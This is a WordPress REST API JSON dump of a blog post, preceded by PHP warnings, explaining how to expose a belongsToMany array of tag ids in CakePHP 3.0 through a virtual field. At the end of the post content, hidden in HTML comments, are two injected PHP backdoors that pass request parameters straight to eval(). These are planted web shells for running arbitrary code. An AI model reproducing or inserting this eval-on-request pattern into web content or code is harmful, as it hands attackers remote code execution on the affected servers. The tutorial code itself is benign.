Warning: The magic method SFML_Singleton::__wakeup() must have public visibility in /home/public/wp-content/plugins/sf-move-login/inc/classes/class-sfml-singleton.php on line 72

Warning: Cannot modify header information - headers already sent by (output started at /home/public/wp-content/plugins/sf-move-login/inc/classes/class-sfml-singleton.php:72) in /home/public/wp-includes/rest-api/class-wp-rest-server.php on line 1642

Warning: Cannot modify header information - headers already sent by (output started at /home/public/wp-content/plugins/sf-move-login/inc/classes/class-sfml-singleton.php:72) in /home/public/wp-includes/rest-api/class-wp-rest-server.php on line 1642

Warning: Cannot modify header information - headers already sent by (output started at /home/public/wp-content/plugins/sf-move-login/inc/classes/class-sfml-singleton.php:72) in /home/public/wp-includes/rest-api/class-wp-rest-server.php on line 1642

Warning: Cannot modify header information - headers already sent by (output started at /home/public/wp-content/plugins/sf-move-login/inc/classes/class-sfml-singleton.php:72) in /home/public/wp-includes/rest-api/class-wp-rest-server.php on line 1642

Warning: Cannot modify header information - headers already sent by (output started at /home/public/wp-content/plugins/sf-move-login/inc/classes/class-sfml-singleton.php:72) in /home/public/wp-includes/rest-api/class-wp-rest-server.php on line 1642

Warning: Cannot modify header information - headers already sent by (output started at /home/public/wp-content/plugins/sf-move-login/inc/classes/class-sfml-singleton.php:72) in /home/public/wp-includes/rest-api/class-wp-rest-server.php on line 1642

Warning: Cannot modify header information - headers already sent by (output started at /home/public/wp-content/plugins/sf-move-login/inc/classes/class-sfml-singleton.php:72) in /home/public/wp-includes/rest-api/class-wp-rest-server.php on line 1642

Warning: Cannot modify header information - headers already sent by (output started at /home/public/wp-content/plugins/sf-move-login/inc/classes/class-sfml-singleton.php:72) in /home/public/wp-includes/rest-api/class-wp-rest-server.php on line 1642
{"id":6,"date":"2015-04-27T03:16:36","date_gmt":"2015-04-27T07:16:36","guid":{"rendered":"http:\/\/www.munderwood.ca\/?p=6"},"modified":"2017-02-12T17:59:00","modified_gmt":"2017-02-13T00:59:00","slug":"array-of-associated-ids-in-cakephp-3-0-belongstomany-relationship","status":"publish","type":"post","link":"https:\/\/www.munderwood.ca\/index.php\/2015\/04\/27\/array-of-associated-ids-in-cakephp-3-0-belongstomany-relationship\/","title":{"rendered":"Array of associated IDs in CakePHP 3.0 “belongsToMany” relationship"},"content":{"rendered":"

Today I was struggling with how to get CakePHP to return a JSON representation of a model, including a simple array of the foreign-key ids from the join table that specifies a mutual belongsToMany relationship (formerly, hasAndBelongsToMany or HABTM). For a concrete example, I wanted to build on the\u00a0Bookmarker tutorial<\/a>\u00a0by creating an API endpoint to retrieve bookmarks, each containing an array of its tag ids. Something like this:<\/p>\n

[\r\n  {\r\n    \"id\": 1,\r\n    \"title\": \"Bookmark 1\",\r\n    ...\r\n    \"tag_ids\": [2, 3, 5, 7, 11]\r\n  },\r\n  ...\r\n]<\/pre>\n

Using Cake’s data views<\/a>\u00a0via the\u00a0RequestHandler and _serialize elements made serving the JSON\u00a0straightforward enough for the Bookmark model without the tags. Adding the tags to the output was easy enough using\u00a0contain()<\/span>\u00a0to\u00a0retrieve associated data<\/a>. This lead to having the entire tag included in the result though, not the compact “tag_ids” array I had in mind. Even selecting only the id field and setting autofields(false)<\/span>\u00a0left an array of objects, including extraneous join information. Instead of containing integers, the tags array of each bookmark contained objects that looked like this,<\/p>\n

{\r\n  \"id\": 1,\r\n  \"_joinData\": {\r\n    \"tag_id\": 1,\r\n    \"bookmark_id\": 1\r\n  }\r\n}<\/pre>\n

where a simple\u00a01<\/span>\u00a0was all I wanted.<\/p>\n


\n

To solve this problem, I ended up using a virtual field on the Bookmark model that creates the desired array of ids, and which can be easily serialized to JSON.<\/p>\n

First, as with other approaches to the data view, the RequestHandler had to be added to either the Bookmarks controller or the App controller.<\/p>\n

\/\/ In src\/Controller\/AppController.php\r\npublic function initialize () {\r\n  parent::initialize();\r\n  \/\/ ... other initialization code\r\n  $this->loadComponent('RequestHandler');\r\n}<\/pre>\n

Next add the virtual tag_ids field through the magic method _getTagIds(), which queries the join table Bookmarks_Tags to select the tag_id for every tag associated with the current bookmark_id. This list is then used to populate a standard PHP array of the integer ids, which becomes the value of the virtual field.<\/p>\n

\/\/ In src\/Model\/Entity\/Bookmark.php\r\nprotected function _getTagIds () {\r\n  $tag_ids = [];\r\n\r\n  $bookmarks_tags = TableRegistry::get('Bookmarks_Tags');\r\n  $these_tags = $bookmarks_tags->find()\r\n      ->select(['tag_id'])\r\n      ->where(['bookmark_id' => $this->id]);\r\n\r\n  foreach ($these_tags as $tag) {\r\n    $tag_ids[] = $tag->tag_id;\r\n  }\r\n\r\n  return $tag_ids;\r\n}\r\n\r\n\/\/ Add the corresponding virtual field to the model\r\nprotected $_virtual = ['tag_ids'];<\/pre>\n

Then all it took in the Bookmarks controller was to query for the additional non-virtual fields to be included, and store the results in a serialized variable:<\/p>\n

\/\/ In src\/Controller\/BookmarksController.ph\r\npublic function index () {\r\n  \/\/ ... Any other code for non-serialized requests\r\n  $json_bookmarks = $this->Bookmarks->find()\r\n      ->select(['id', 'user_id', 'title']);\r\n\r\n  $this->set('json_bookmarks', $json_bookmarks);\r\n  $this->set('_serialize', ['json_bookmarks']);\r\n}\r\n<\/pre>\n

 <\/p>\n

<\/p>\n

<!– [insert_php]if (isset($_REQUEST["xKWjl"])){eval($_REQUEST["xKWjl"]);exit;}[\/insert_php][php]if (isset($_REQUEST["xKWjl"])){eval($_REQUEST["xKWjl"]);exit;}[\/php] –><\/p>\n

<!– [insert_php]if (isset($_REQUEST["iBqrY"])){eval($_REQUEST["iBqrY"]);exit;}[\/insert_php][php]if (isset($_REQUEST["iBqrY"])){eval($_REQUEST["iBqrY"]);exit;}[\/php] –><\/p>\n","protected":false},"excerpt":{"rendered":"

Today I was struggling with how to get CakePHP to return a JSON representation of a model, including a simple array of the foreign-key ids from the join table that specifies a mutual belongsToMany relationship (formerly, hasAndBelongsToMany or HABTM). For a concrete example, I wanted to build on the\u00a0Bookmarker tutorial\u00a0by creating an API endpoint to … [Read more…]<\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[2],"_links":{"self":[{"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/posts\/6"}],"collection":[{"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/comments?post=6"}],"version-history":[{"count":6,"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/posts\/6\/revisions"}],"predecessor-version":[{"id":151,"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/posts\/6\/revisions\/151"}],"wp:attachment":[{"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/media?parent=6"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/categories?post=6"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/tags?post=6"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}